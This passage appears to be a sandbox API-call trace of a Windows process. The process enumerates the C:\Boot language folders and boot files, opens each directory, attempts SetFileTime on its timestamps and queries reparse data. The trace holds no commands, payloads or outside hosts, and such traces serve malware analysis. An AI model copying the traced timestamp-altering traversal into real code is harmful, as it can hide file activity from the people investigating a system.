cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.346] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.346] GetLastError () returned 0x12 [0139.346] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0139.346] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0139.347] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0139.347] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.347] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0139.347] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.347] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.347] CreateFileW (lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0139.347] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0139.347] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.347] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0139.347] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.347] NtClose (Handle=0x15c) returned 0x0 [0139.347] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.347] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.347] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0139.347] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0139.347] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0139.347] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.348] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.348] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.348] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.348] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.348] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.348] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.348] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984460 [0139.348] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984e40 [0139.348] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.348] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.348] GetLastError () returned 0x12 [0139.348] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0139.348] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.349] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.349] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.349] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.349] GetLastError () returned 0x12 [0139.349] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0139.349] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0139.349] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0139.349] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.349] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0139.349] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.349] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.442] CreateFileW (lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0139.443] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0139.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.443] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0139.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.443] NtClose (Handle=0x194) returned 0x0 [0139.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0139.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0139.443] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0139.443] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.443] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984480 [0139.443] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984ec8 [0139.443] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.443] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.443] GetLastError () returned 0x12 [0139.443] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0139.444] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.444] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.444] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.444] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.444] GetLastError () returned 0x12 [0139.444] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0139.444] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0139.444] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0139.444] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.444] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0139.444] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.444] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.444] CreateFileW (lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0139.444] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0139.444] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.444] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0139.444] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.444] NtClose (Handle=0x15c) returned 0x0 [0139.445] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.445] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.445] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0139.445] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0139.445] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0139.445] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.445] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.445] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.445] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.445] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.445] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.445] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.445] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9844a0 [0139.445] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984f50 [0139.445] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.445] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.445] GetLastError () returned 0x12 [0139.445] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0139.445] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.445] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.445] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.445] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.445] GetLastError () returned 0x12 [0139.445] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0139.445] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0139.446] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0139.446] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.446] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0139.446] GetLastError () returned 0x12 [0139.446] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eea0) returned 1 [0139.446] FindClose (in: hFindFile=0x839020 | out: hFindFile=0x839020) returned 1 [0139.446] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ef28) returned 1 [0139.446] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f258) returned 1 [0139.446] FindNextFileW (in: hFindFile=0x838fe0, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0139.446] FindNextFileW (in: hFindFile=0x838fe0, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x800150, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0139.446] FindNextFileW (in: hFindFile=0x838fe0, lpFindFileData=0x1a7f9bc | out: lpFindFileData=0x1a7f9bc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, 